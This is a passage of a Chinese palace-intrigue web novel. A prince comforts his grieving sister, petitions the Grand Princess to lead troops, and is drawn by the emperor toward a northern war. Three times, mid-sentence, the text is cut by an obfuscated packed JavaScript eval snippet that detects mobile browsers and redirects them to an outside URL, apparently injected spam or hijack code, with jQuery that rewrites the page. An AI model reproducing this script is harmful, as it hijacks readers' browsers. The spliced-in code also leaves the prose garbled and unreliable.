随即叹息一声:“不过你也太过鲁莽了,差点出事,你要是出事,我可怎么向大姐姐交代啊!” 想起方才那尔丹举刀刺向刘昶那一幕,刘赞心里便忍不住地扑通乱跳,好险好险,而后又抱怨着:“沈姑娘身旁的那个小婢女也真是的,哪儿能一言不合就亮刀子啊!” 刘昶问道:“那个小婢女是胡人?” 虽说那小婢女穿着他们江朝的服饰,梳着江朝女子日常梳的发髻,乍一看与江朝女子无异,可眉眼之间还是能看出些异域的特色。 刘昶居于边关良久,见过的胡人也多,自然能看出来。 不过,那小婢女看着倒是有些眼熟,兴许是在边市上见过吧。 刘赞摇摇头:“这……我从未在意过……” 忽然刘赞捂着嘴,瞪大了眼睛,不可置信道:“莫不是她是胡人派来的细作?” 刘赞先前一直在忙边市的事,边市的事忙得不可开交,哪里还有别的功夫管京城的铺面,因而京城的听音坊等店面,都放任她们自行打理。 江朝与胡人,都会互相派些细作摊子来打探情报,打探的都是些无足轻重的消息,再者,边市开放,不少胡人进入江朝做些小生意谋生,因而见着胡人他们并不是很在意,只是听音坊不一样。 听音坊,明面上是听歌听曲的地方,暗地里则是为刘赞收集京中情报的组织,如今对于沈韵身旁多出来的这个小婢女,刘赞更是一概不知。 经由刘昶提起,刘赞方才上心,在这个地方有个胡人,真是细思极恐,看来得查查这个婢女了。 “不好说。”刘昶撇撇嘴,扭头白了刘赞一眼,旋即心中有了主意,瞄准一旁的马匹,抢过缰绳后翻身上马,寻着沈韵所乘坐的那架马车的踪迹而去。 “诶!我的马!” “给你。”刘赞随手从袖中掰出半块碎银,丢在马匹主人怀里,“这匹马我买下了。” 幸而马车行驶缓慢,刘昶一路追寻,并未费什么力气便寻到马车的踪迹,随即放慢速度,在马车后面慢慢跟着,他倒要看看,沈韵这是要去哪儿。 马车上坐着的那尔丹有所察觉,问一旁的沈韵:“阿韵姐姐,那个人在一直跟着我们。” 沈韵一边揉着还疼痛的手腕,一边顺着那尔丹的视线看过去,果然,刘昶正不远不近地慢慢跟在他们马车的不远处。 想起刘宁的叮嘱,不可将她的消息告诉旁人,沈韵掀起车帘,对车夫道:“张哥,换条路,走城南,穿城北,绕城东。” “得嘞!”车夫张哥勒住缰绳,调转方向,按着沈韵说的,在城南、城北、城东到处穿梭,直至天色渐晚,身后的人没了踪迹,方才沿着他们原定道路继续赶车。 刘昶察觉到沈韵发现了他,并带着他在城里绕圈子后,早就弃了马,来到醉云轩最高处。 在这里,能清楚地看到街道上的车马的动向。 看着那架马车在京城中绕了一圈后去了城西,刘昶方才动身出发,这次他跟得更加小心谨慎。 马车停在了城西郊的一处宅子,沈韵下车。 宅子不大,依山傍水地矗立着,里面似有白幡随风舞动,还有丝丝的哀乐顺着风声飘入耳中。 山上林影森森,映落在宅子上,本就看着诡异的宅子又增添了几分阴森的鬼气。 莫不是……莫不是阿宁她…… 刘昶心脏猛地抽搐一下,理智全乱,思绪尽失。 随即刘昶摇头否定了方才的想法,不可能,阿宁不可能有事的,若是阿宁有事,六哥不会不告诉她的,大姐姐也不会什么也不知道的。 怔在原地片刻后,决定进去一探究竟,不论是什么样的情况,他都要亲眼看过才知。 刘昶三两下翻墙跳进那处宅子,寻着声声入耳的哀怨琵琶声,刘昶寻到了沈韵所在的屋子,屋子里头并未点灯,只能听到美酒入杯、酒杯碰桌的声响。 一杯、两杯、三杯…… 一壶酒饮尽。 “怎么没了?” “继续添。” 那尔丹有些犹豫,不知所措地看向沈韵。 沈韵也很是心疼喝醉的刘宁,停下了手中的琵琶,上前劝道:“阿宁,往常你只喝半壶的,如今竟一壶都不够你喝了,少喝些吧,到底伤身,可不要这样作践自己。” “继续添啊!”刘宁抱着空空如也的酒壶,醉醺醺地摔出手中的酒杯,因未曾听到琵琶声,有些怒气:“弹啊!继续弹啊!怎么停了?嫂嫂她最喜欢听琵琶的,哥哥也喜欢的,你怎么停了?” 提起还朝与刘茂,刘宁的眼泪便再也绷不住,如断线的珠子般滚落。 沈韵及那尔丹眼前也不免一片氤氲。 “阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274286|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁,若是他们还在,定然不愿看到你现在这副颓废样子的。”刘昶一脚踹开虚掩着的房门,脸上同样是挂着几颗晶莹剔透的泪珠。 沈韵眼疾手快,忙拉住意欲拔刀而起的那尔丹。 “是谁?” 屋子里并未点灯,只有洒进屋子里的点点星光。 刘宁并未看清来者的脸。 刘昶并未理会这声,道:“点灯。”说罢,走到刘宁近旁,俯身蹲下,目不转睛地盯着醉醺醺的刘宁。 沈韵寻来一根蜡烛点亮放置在桌上,看了眼刘昶神色后,便带着那尔丹出去了。 莹莹微光照亮了两人的脸。 借着烛光,刘昶看清了屋内的布局,不远处摆着几座牌位供奉着。 刘昶看着身形消瘦、发丝凌乱的刘宁,她早已不似先前那般明媚,不免有些心痛。 刘昶抬手抹去眼角挂着的那颗泪,问道:“你怎么整天这么颓废度日、声色放纵?这一两年你都这么日日酗酒吗?” 刘宁嗤笑一声,“颓废?这样不好吗?听听曲儿,喝喝酒,一天又一天。”说罢,放肆大笑着。 刘宁醉醺醺调笑道:“你是……来陪我喝酒的吗?只是我的酒壶空了……” 沈韵看了眼面色有些铁青的刘昶,轻轻拉了拉刘宁的衣角,低声提醒道:“阿宁,他是定北王殿下,是你七弟。” “七弟?”刘宁歪着头想了一会儿。 一整壶酒下肚,刘宁思绪早已混乱迟钝,“七弟是七弟,定北王是定北王,七弟不是定北王,定北王也不是七弟。” 刘昶咬着牙,捧着刘宁的脸,强迫她看向自己:“阿宁,你睁开眼睛看看,你再仔细看看,我是刘昶啊!我是你七弟啊!” “七弟?”刘宁看向刘昶,苦笑一声,才止住的眼泪又涌出来。 “阿宁……”刘昶颤抖着抱紧刘宁。 记忆如潮水般翻滚而来,刘宁仿佛回到了那一日。 一推开偏殿的门,看到母亲悬吊的身体…… 踏入一地血腥的秦王府,哥哥嫂嫂的尸体上都盖着厚重的白布…… 刘宁捶打着刘昶的后背,哭诉道:“你怎么才来!你怎么才来啊!” “我母妃……她……她就吊在那里,吊在那里……”刘宁摇手指着,指着屋里的房梁,哭个不停,“她平日里最怕疼了……她……”刘宁泣不成声。 刘昶轻轻安抚着刘宁:“没事了,没事了,我回来了。” 刘宁看向不远处的牌位,旋即眼神清明,恢复了些神职,道:“母亲没了,哥哥嫂嫂也不在了,就连我那可怜的小侄子也……” “七弟,我该怎么办?我该怎么办?” “明明母妃还说要为我准备嫁妆呢……” “明明哥哥还说要我精进箭术,明明说好要举办一场射箭比赛的,彩头便是嫂嫂带来的那几匹汗血宝马,怎的……怎的如今……” 怎的如今只剩下那几匹汗血宝马呢?她恨不得当时就同母妃与哥嫂同去了。 刘宁趴在刘昶肩膀上呜咽哭着,强撑几年的情绪在此刻轰然坍塌。 刘昶心疼不已,深吸一口气,稳了稳心神:“阿宁,不如与我同去永州,那里天高地阔,风景正好。对了,近来边市开放,很是繁荣,有你最喜欢的宝石,还有不少绝世好马,个个膘肥体壮,你见了一定喜欢。” 一听到这些,刘宁便想到自己哥哥在胡人那里受苦,才刚止住的眼泪不由分说地又流出来,一抽一抽的,险些喘不上来气,“我……我……不喜……不喜欢……去……永……永……” “好了好了,不说这个了,不喜欢我们就不去。”刘昶轻轻为刘宁顺着气,眼里满是心疼。 “我……我……想……想去……陌……陌南……”刘宁抽抽嗒嗒道,陌南曾是她哥哥刘茂的封地,她想去看看,想去看看哥哥和嫂嫂曾经生活过的地方。 “陌南……”刘昶有些犯难。父皇的胞弟,诚王叔被分到最荒凉的栾南就藩,父皇尚且十分忌惮,而陌南最是富庶,若是父皇在位,他倒是可以求上一求,只是如今是他的弟弟在位,若是他去求陌南,只怕会惹来猜忌。 但看着刘宁哭得上气不接下气,刘昶咬咬牙,“好。你暂且等些时日,待我再多立些军功,我去大姐姐面前求去,我带着你回陌南。” “好……”刘宁转念一想,心中翻起无限恨意:“不必求她!”说罢,挣扎着站起身,摇摇晃晃地朝着那几尊供奉的牌位走去。 “阿宁!” 刘宁还未走上几步,酒劲儿上头,脚步虚浮,直挺挺地朝前倒去。 刘昶忙上前托住,见刘宁昏睡,横抱起刘宁,将刘宁安置好,唤来沈韵与那尔丹两人:“你们两个守着她,直至她酒醒为止。” 说罢,起身,抬眼看到正为刘宁轻轻擦脸的沈韵时,想到那串他特地为刘宁寻来的手串戴在沈韵手上时,脸上又黑了几分,犹豫片刻后,叹了口气,罢了,既然已经送给阿宁了,那便任由她处置,待他寻来更好的再送给她。 待经过那尔丹身旁时,特意多看了那尔丹几眼,不知怎的,怎么看怎么觉得她眼熟。 “还有——”刘昶起身,临走前,特意叮嘱道:“以后不要再让她饮酒了。待她醒了告诉她,等我回来,我带她去陌南。” 一一叮嘱过后,便为她们关好房门。 为了能有足够的军功换来就藩陌南的机会,刘昶不敢有丝毫耽搁,赶在宫门下钥前抵达皇宫,趁着刘安还没安寝,跪在刘安面前恳求道: “大姐姐,我们大江与胡人之间必有一战要打。” “还望大姐姐允我带兵前去,” 90. 安内(十五)君臣之隙 “还望……大姐姐允我带兵前去。”刘昶垂着头,腰杆挺直地跪在刘安书桌前。 隔着如山般堆积的奏疏,刘安仅瞥了刘昶一眼,并未予理会。 如今皇帝登基不过两三年,边境安稳也不过才一两年的光景,大江朝内部还留有诚王这些隐患,恰又逢她的新政推行初期,万不能再起战事。 “大姐姐——”刘安久不予以回应,刘昶便大致猜出她的心思,可事关阿宁,他…… 烛火噼里啪啦爆响一声,烛光摇曳闪烁,屋里光线暗了几分。 刘安抬眼瞥了眼,眉头轻皱,面露不悦之色,嘴张了张,一股气含在嘴里回旋,最终轻叹一声,继续低头批阅着奏折。 一旁的莲音会意,取下灯罩,剪了灯花。又犹觉刘安面前的光亮不足,眼珠瞥向梗着脖子跪地的刘昶,咬咬唇,便道:“殿下,奴再去取来一盏烛火。” 刘安小幅度点头同意,眼睛依旧落在手里的折子上,不曾挪动半分。 “殿下这茶也凉了,奴婢再为殿下添些热茶来。”莲音垂首退却半步,看向那杯自奉上便一口未饮失了温的茶,眼中流露出心疼之意,“夜已深,殿下已经看了许久的折子,也合该歇歇了。” 自未时二刻起,大长公主殿下进了书房,便未曾挪动过半分。莲音、莲房她们二人已经换过一班,可殿下却硬生生熬到现在,莲音自幼与刘安一同长大,怎能不心疼。 刘安“啪”的一声合上折子,冷冷扫了莲音一眼。 莲音自觉多话,不再多言,捧上那杯凉了多时的茶,缓缓退下,待行至刘昶身旁,脚步顿了一下,以极轻极轻的声音道:“七殿下还是快些起来吧,别再逼我们殿下了。”说罢,便缓缓退,走之前,还带走了几个分侍一旁的小宫女。 刘昶抬眼看向刘安,大姐姐神色与之前几日相比,更显憔悴,眉眼之间掩不住的疲态。 可……刘昶指甲嵌入掌心,继续请命:“还望大姐姐允我带兵!” “人人都称赞定北王刘昶是个不畏权贵、侠肝义胆的人物,不曾想如今看来,你却是个不顾大局、不顾民生疾苦、只知贪功冒进的莽夫!”刘安冷着脸,指尖轻扣着桌面。 “定北王,如今边市开放不足两年,我们大江与胡人的关系才稍加缓和,百姓得以休养生息,实在不宜再起战事。 “你戍边多年,边关百姓过得如何,驻守边关的将领是如何守卫边境的,你竟一点也没看在眼里吗?”说着说着,刘安言语之中染上不少怒气,手中的折子也径直朝着刘昶额角砸去。 刘昶一动不动跪在原地,不曾有半分躲让,硬生生接下这一折子,额角擦破皮,丝丝鲜血顺着发丝、沿着鬓边流下。 他不是看不明白,只是——这是他的私心。 也并不全然都是私心。 刘昶急得跪着前行两三步:“大姐姐,虽说边境有所安稳,可大江土地肥沃物产丰富,胡人到底还是虎视眈眈。” “即便现在不打,日后也终究是要打起来的。” “大姐姐,近来胡人的大单于年迈,他的儿子和弟弟为着单于的位置正争个不停,自然顾不得旁的,可若待到新单于即位重新整顿,不消几年,我们两国之间免不了一战。” 刘昶言辞之恳切:“若要为着边境安稳,最好便是此时趁着他们内乱之际,起兵攻之,好打他们个措手不及。大姐姐,我并非贪功冒进,实在是机不可失啊大姐姐!” 刘安冷冷喝了一声:“胡闹!开战一事并非你我二人便能决定的,需得朝臣们商议,需得陛下定夺。” “岂能由你我二人轻飘飘一句便能定下?” 刘昶不甘心:“大姐姐!” 刘安长叹一声,俨然一副慈姐模样:“昶儿,你方才说的……我又何尝不知呢?只是眼下内外皆不安稳,朝中暗流涌动,实在是腾不出手。再有一点,攘外必先安内,可如今我们姊妹几个都不同心,又与你口中所说的那些争夺单于之位的胡人有什么两样?” 刘安定定看着刘昶,见他依旧一副风尘仆仆的样子,深吸一口气,问道:“你回京也有一两日的功夫了,可有面见过陛下?” 刘昶一时语塞,有些心虚地低下头,为自己辩解道:“一时繁忙,还……还没来得及……” 刘安眯起眼睛看向刘昶,张嘴欲言,想说些什么,但终究是摇头嗤笑一声:“你是臣,他是君,君臣之间的道理,或许你先前不懂,但如今也该懂了。” “趁着陛下还未歇息,快去吧,记得要姿态放低些,如今他可不是先前与我们嬉笑玩闹的八弟,如今可是一国之君,怠慢不得。” “好,谨遵大姐姐旨意。”刘昶抿了抿嘴,看不出脸上的神色,转身退步离去。 “你……今日可见过阿宁了?她现在可好?”刘安冷不丁提及刘宁。 “她……”刘昶脚步一顿,想起刘宁今日种种,有些犹豫,转身恭敬地说着车轱辘话搪塞:“我未曾见到,听六哥说,至今不曾有五姐的消息,若是有消息,六哥一定会先知道的吧。” 刘安看破,并未点破,忍着两声咳,故作轻松道:“若是你见到她,可要告诉她,宫里可还有个从小看着她长大的长姐等着她呢。” 刘昶闻言,有些后悔,后悔不该一味的同大姐姐讲这些。 刘昶眉眼难掩关切:“姐姐也要多保重身体才是,如今陛下已登基两年有余,这些政务也该他上手处理才是,怎的竟全堆在姐姐这里?” “快去吧。”刘安并未搭理刘昶,仅是笑着催促道,话音还未落,又是两声压抑的咳。 “大姐姐!” 刘安以手帕掩嘴,连连摆手止住刘昶上前来。 刘昶知趣退下,细心放下厚重的门帘,关好门窗,生怕放进一丝寒风再让大姐姐咳嗽。 站在远处的钱衡量见刘昶从书房出来,拍醒在一旁跑神打盹的莲亭。 莲亭捧着茶盏,正了正身子,迎了上去,行礼道:“见过定北王殿下,奴婢先去为大长公主殿下奉茶了。” 刘昶摆摆手,目不斜视, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274287|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越过莲亭,看向她身后的钱衡量,上下打量一番。此人脸型瘦长,薄唇淡眉,眉梢飞起,眉眼之间极尽算计。 他入京这一路上,有关这钱衡量与大姐姐的风言风语也是听了一肚子。 这样一个满腹算计的人,如何配留在大姐姐身边侍奉? “你,便是钱衡量?”刘昶目光紧紧盯着钱衡量,扶了扶腰间的玉带,上前一步,冷冽的肃杀之气尽显。 “是。”钱衡量察觉到刘昶的敌意,不自觉垂下脑袋,后退半步,与刘昶保持着距离。 在被刘昶紧盯的这几眼间,钱衡量把他这前半生都想了个遍,也未曾发现与定北王刘昶有什么交集。 自他入京以来,便浪迹于百姓之间,除了去拜见二殿下以外,鲜少出入其他王宫侯府,按理定北王是没见过他的,怎的如今这般盯着他看?难道他发现了什么? 钱衡量眉头紧皱,面对刘昶的步步紧逼,倒突然想起,定北王与秦王、宁乐公主私交甚好,先前他曾替二殿下去过秦王府送信,那时定北王也在,莫不是定北王认出了自己? 大计未定,他绝不能暴露分毫。 想到此处,钱衡量的脑袋更低了,生怕被发现与刘仲有过往来,恨不得将整张脸都埋进衣领之中。 “好好侍奉在大姐姐左右,别动旁的心思,否则,本宫饶不了你。”临走前,刘昶放下话,一甩衣袖,瞪了钱衡量一眼。 钱衡量此人,不过是一宦官,刘昶料定他也掀不起什么风浪,因而不过言语警告几句。 天色渐晚,来不及多耽搁,刘昶三步并作两步,大步流星朝着皇帝居住的福宁殿赶去。 “定北王殿下——”还不待刘昶靠近福宁殿的门口,便被康佑帝刘绥身边的近侍杨仕鑫拦住,“陛下已就寝,有什么事不妨明日再来。” 刘昶自是不信他这份说辞,仰头看向天空,太阳才刚沉下,哪里便歇得这么早了?到底是不想见他吧。 杨仕鑫是康佑帝刘绥身边的内官,一切倚仗着康佑帝刘绥,自是不怕旁人。况且陛下听闻定北王入京,早早便命人布下接风筵席,却不想定北王入京两日,却是先拜见了福康宫那位,陛下如何不恼怒? 陛下不喜之人,他杨仕鑫也不喜。 杨仕鑫歪着手,松松垮垮地站着,虽是垂着脑袋,可神色之间尽是不屑怠慢:“听闻殿下早早便入了京,缘何如今才来拜见陛下?可是被什么人绊住了脚?” “哼。”刘昶冷哼一声,甩了甩袖子,睥睨看向杨仕鑫。什么狗奴才,仗着背后有皇帝撑腰,也敢在此大放厥词编排大姐姐? 刘昶望向窗户上闪烁的烛火,压着心头的火气,毅然撩起裙袍,施施然跪下,高呼道:“臣,刘昶,拜见陛下!” 杨仕鑫冷眼看着,哼笑一声,上前一步,弯腰凑到刘昶近前,提醒道:“定北王,陛下已然休息,还望定北王勿高声喧哗,以免惊扰陛下。” “近几日陛下身体不适,不能劳累——” “臣,刘昶,拜见陛下!” 91. 安内(十六)君心难测 “啪擦——” 殿内传来茶盏落地碎裂的声音。 杨仕鑫眼珠一转,倒吸一口凉气,后退两步后匆匆进殿内查看。 殿内的宫女太监们乌泱泱跪了一片,个个瑟缩着脖子,浑身打颤。 听到有人进殿来,有胆大的小心翼翼扭头看去,见是陛下身边的大内官杨仕鑫,不由得松了口气。 杨内官最是嘴甜,惯会哄陛下开心,有杨内官在,想必陛下的怒气没一会儿便会消散。 刘绥披散着头发,一手搭在椅子扶手上,一手,抬眼看向杨仕鑫:“连你也不把朕放在眼里吗?” 杨仕鑫扑通一声跪在地上,忍着碎瓷片子,跪步行至刘绥脚边,惶恐道:“陛下——” “嗯?”刘绥抬起一脚,力道不大,不偏不倚踹在杨仕鑫心口。 杨仕鑫摔在地上,眼神含泪,委屈巴巴地抬头看向刘绥。 待对上刘绥阴冷的眼神,杨仕鑫脊背一阵发亮,脑门上都沁出一层细密的汗珠,杨仕鑫下意识躲闪垂下眼皮,待看到远远跪着的几个低等洒扫宫女,心中来了主意。 杨仕鑫瘸着腿站起身,一瘸一拐走到那几个低等宫女面前,随手从中揪起一个,抡圆了胳膊就是两巴掌。 “啪啪——” 一边打,一边高声教训道:“你个毛手毛脚,平日里都是怎么教导你的?方才不都说了要你们轻手轻脚的别惊扰了陛下吗?怎么还能摔碎茶盏?” “杨内官!我——”小宫女无故受难,慌忙仰起头准备为自己辩解。 这分明是陛下心中不悦,自己摔在地上的! 她只是个洒扫宫女,哪里有资格在陛下近前伺候! 蔡岑知道,这是要把锅甩到她头上。 饶是她再怎么想着低调行事,可这到底是她花了银子才从掖庭掌事大宫女手里买来的差事。 她还想借着这份差事翻身,谁知当差第一天竟碰到了这样的事,真是倒霉。 当初她兄长蔡桐执意要起兵,最后落得个万人唾弃的下场。颖州蔡氏一族也因此受到牵连,虽说先帝顾念着孝懿太子,未诛灭颖州蔡氏九族,可到底家中男丁流放,女眷没入掖庭为奴。 掖庭罪奴的日子,她是一刻也不想再过了。 “你个没眼力见儿的狗东西!”杨仕鑫训骂的声音再次尖锐,就连跪在殿外的刘昶听得都直皱眉头。 容不得蔡岑多言语,杨仕鑫见蔡岑竟敢反驳,紧接着便是一脚,狠狠踹在无辜挨了打的蔡岑身上。 周边跪着的宫女们膝盖悄然挪动,生怕会祸及自己。 蔡岑吃痛,捂着肚子,整个人蜷缩在地上,嘴里还喃喃地想为自己争辩上几分,可五脏六腑传来的疼痛让她的喉间发不出一丁点的声音。 “杨仕鑫——”刘绥冷眼看着,出言制止杨仕鑫意欲再抡下的胳膊。倒不是他怜香惜玉,而是只觉吵闹。 蔡岑眸中亮出些光。 杨仕鑫闻言,弓着腰身,收起了方才尖锐的神情,换上一副谄媚的样子,拖着沾了碎瓷片的瘸腿,一瘸一瘸走向刘绥。 “宣,定北王。”刘绥闭着眼睛,一手扶额,一手指了指跪在地上的宫女太监们,连连摆手。 杨仕鑫会意,遣散众人,只留下两三个近身伺候的。待看向蜷缩在地上不能动弹的蔡岑,杨仕鑫问道:“陛下,那她——” 刘绥并未搭理,杨仕鑫也不好再多问,略有些担忧地看了眼蔡岑,而后按照刘绥的吩咐,出殿宣召定北王刘昶觐见。 “定北王,陛下召见,请吧。” 刘昶起身,正了正衣冠,斜眼扫过杨仕鑫,方才殿里的动静他听得清楚,杨仕鑫指桑骂槐,哪里说的是那个宫女,分明是在说自己。又见他膝盖上隐隐有血丝渗出,不免冷哼一声,真是活该。 刘昶一甩衣袖,大步朝着殿内走去,待看到殿内蜷缩在地上的小宫女,还有一旁的碎瓷片子,不免顿足。 那小宫女双手捂在肚子上,五官痛苦地皱在了一起,额前的头发也被汗水打湿糊在脸上,看着甚是可怜。 “八……”,话还未说出口,刘昶便注意到刘绥的神情,不带任何情绪的眼神注视着他,仿佛要将他看穿,刘昶此时才领悟到刘安所说的君臣之别。 刘昶自知失言,恭敬行礼道:“陛下——” “七皇兄来啦!你与朕兄弟之间,何须这些虚礼!”刘绥笑着迎上前来,扶住刘昶的手,仰头看着刘昶,眼里亮晶晶的,俨然一副小孩子的模样。 刘昶不敢相信,八弟比他还小上八岁,怎么能变脸变得如此之快。 这还是他所熟悉的那个不谙世事,只知道拽着他的衣袖闹着要陪人陪着玩的八弟吗? 刘绥见刘昶眉眼之间满是探究的意味,故作无奈,叹了口气,眉眼低垂,脑袋也顺势垂下,语气颇为可怜道:“七皇兄莫不是要与朕生分了?” “陛下这是哪里的话。”刘昶解释道,“到底还是应该先讲究君臣之道,否则岂不是乱了礼法?” 刘绥甚是满意刘昶所言,嘴角勾起,自顾自坐下,笑着看向刘昶,冠冕堂皇地说着一些客套话:“兵部每每上折子说定北王又打了胜仗,抵御了胡人流寇作乱,朕便为皇兄担忧上几分,如今看着皇兄安然无恙,边境安稳,朕,便心安不少。” “自朕即位起,有皇兄守着北部边境,朕才得以高枕无忧。皇兄之功甚伟,朕有意嘉奖,只是金银珠宝这些俗物,简直难以言表朕对皇兄的情谊,不如皇兄亲自说说想要什么,即便是天上的星辰,朕也派人为皇兄摘来。” 刘昶轻笑一声,颇有些自嘲,到底不是真心实意,同样疏离客套道:“这些实乃臣之本分。” “只是臣不好违逆陛下心意,若陛下执意要赏臣些什么——”刘昶回头看向蜷缩在地上无人敢扶起的那个小宫女,心生怜悯,道:“不如陛下饶过这位宫人吧,还请陛下派人为她医治。臣看她年岁不大,想来杨内官的巴掌打得踹得不轻,看着着实可怜。” 刘绥瞥了眼蔡岑,笑道:“朕一见到皇兄,便忘了这档子事儿,幸得皇兄提醒。” “原也不是什么大事,不过这碎的可是大姐姐最爱的那套茶具,是大姐姐送与朕的,就这么被她砸了,朕心里到底是……”刘绥顿了顿,继续道:“既然皇兄为她求情,那便免了她的责罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274288|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 刘绥冷眼看着:“只是,罪责可免,到底还是应该受些惩戒,让满宫里的宫人们都看着,朕不是一位赏罚不分、恩怨不明的君主,也免得天下人以为朕宽容大度从而一味的蹬鼻子上脸,不将朕放在眼里!” “待御医医治过后,你便自行跪在福宁殿前醒悟,让福宁殿上上下下的人都看着,以你为戒。” 蔡岑忍着痛,伏地叩首,声音极其微弱道:“多谢……多谢陛下……开恩……” 刘绥不再看蔡岑,仅一挥手,宫人们便将蔡岑扶了出去。 “边境苦寒,皇兄受累了。容太嫔也是许久未见皇兄了,想必定是十分想念呢,皇兄也很思念容太嫔吧。”刘绥转头笑着看向刘昶。 刘昶知道,刘绥突然提及母妃,定有别的用意,只是他摸不透面前这位陛下的心思,并未直接作答,仅是笑笑,还在想着该如何回应之时,刘绥便开口了。 “孝顺之心,人皆有之,更何况是为人子,更何况是读遍经书礼重孝道的我们。”刘绥说罢,叹了口气,“朕想及先前与母后居于归云阁之时,当时朕便下定决心,若来日及冠封爵之时,必定要好好孝敬母后。只是如今朕虽贵为一国之主,却无法顺应母后心意,无法将母后安居于慈宁殿,无法日日向母后问安,朕心甚愧。” “皇兄,你与大姐姐关系甚好,闲暇之时不妨劝劝大姐姐,还望她高抬贵手,应允母后迁居慈宁殿。” 刘昶猛然抬起眼皮,不知该如何接话。 他离京数年,对京中情形并不大了解,也没心思去了解,对于大姐姐与李太后之间的恩怨,他也只是在路上听说过一二。 李太后不满大姐姐,日日酗酒作乐,并在宴席上出言中伤大姐姐,大姐姐素来是个最宽厚的人,能把大姐姐逼得发了狠心,千方百计阻拦李太后入主慈宁殿,,不是慈宁殿要修缮,就是慈宁殿布置陈旧,要不就是慈宁殿周边的路不好生怕李太后会摔。想来李太后做的实在过分。 刘昶顺着刘绥的话,道:“听闻慈宁殿还在修缮中,想来不久太后娘娘便能迁居慈宁殿吧。陛下与大长公主对太后之孝心,天地皆知。” “唉,不说这个了。”刘绥并未听到自己想听的话,摆摆手,正色道:“近来胡人可有什么动向?” 刘昶道:“胡人的大单于病重多时,为着下任单于的位置,胡人之间暗流涌动。” 刘绥纳罕:“哦?大单于膝下不是仅有一子吗,这还有什么可争的呢?” 刘昶道:“因胡人的习俗,单于的位置可由兄弟继承。这任大单于便是上任大单于的弟弟,故而大单于的弟弟左都王便存了心思,如今正煽动草原十八部的部落首领们呢。” “不知皇兄意下如何?”刘绥听的连连点头,此时倒是个好时机,趁着胡人内部乱做一锅粥,若举兵攻之,往后十余年内,边境可高枕无忧。 而他,亦可有丰功伟绩傍身,来日亲政,便无人再敢置喙。 便无人再敢以他年幼为说辞临朝听政。 只是,如果此战败了,也得有人背锅才是。 刘绥谋定,抬眼看向刘昶:“皇兄可愿……” 92. 安内(十七)言有所指 康佑帝刘绥故作停顿,缓缓道:“皇兄可愿为了大江往后数十年的安稳,百姓数十年的安居乐业,带兵北征——” 刘昶喜不自胜,若是能有北征的机会,他便有获得军功的可能,来日论功行赏,他便能要到陌南那块地,便能带着阿宁去陌南了。 刘昶猛然抬头,忙道:“臣——”愿意二字还未说出口,便被刘绥打断。 “将胡人赶到别别山以北?”刘绥幽幽道。 刘昶闻言一惊,他这位八弟的野心着实不小。 别别山,早在大江开国皇帝天启帝即位之时,便已在胡人境地之内,别别山里有不少矿产,什么铜矿、铁矿、宝石矿数不胜数,胡人也是依靠着别别山的矿产打造兵器、与周边国家进行交易,才有了如今的版图。 若说趁着胡人内乱之际,举兵挫败胡人收复失地漳州,他尚且还有几分把握,可若是想要将他们打退到别别山以北,只怕胡人便会暂时放下内斗,到那时…… 若这一仗真的打起来,正如大姐姐所言,如今才安稳不过两年的光景,不说别的,单这粮草供应一件,便尤为棘手。 更何况边境的永州并非以农业为主,如今永州乃至周边永济城的粮草供应皆来自靖州,前两年靖州大旱,今才缓过来,若此仗一开,只怕靖州百姓不堪重负,大江朝历代的积累很有可能会功亏一篑,反而会坏了大江朝的根基。 刘昶不敢再想,垂首咽下还未说出口的“愿意”二字。 “皇兄要说什么?”刘绥兴致勃勃问道。 “陛下——”刘昶斟酌再三,道:“若说起收复漳州,倒还显得可行些,倘若按陛下所说,将胡人赶至别别山以北,只怕要劳民伤财,还望陛下三思。” 刘绥忙不迭笑道:“还是皇兄思虑周全,既这么着,那便依皇兄所言,举兵北征,收复漳州。” 刘昶总感觉,三言两语之间,自己早已步入了一个圈套,只是他尚且还猜不到君王的心思。 举兵北征,收复漳州绝非面上看的这么简单。 刘昶道:“陛下,举兵征战一事,还是应与朝臣们商议才是。” “是呢是呢,皇兄说的极是。待明日朕与两位丞相商议过后再做决定。”刘绥笑着连连点头,紧接着话锋一转,问道: “皇兄方才从大姐姐那里过来,不知大姐姐如何看待呢?”说罢,刘绥转动着手上的扳指,似笑非笑地看着眉头皱起的刘昶。 刘昶刚要作答,抬眼间便与刘绥对视上,他才猛然意识到,难不成这又是个圈套陷阱,单等着他往里面跳? 刘昶抿了抿嘴,眼珠转的有些慌乱。 “七皇兄?”刘绥玩味笑着,唤醒游离的刘昶。 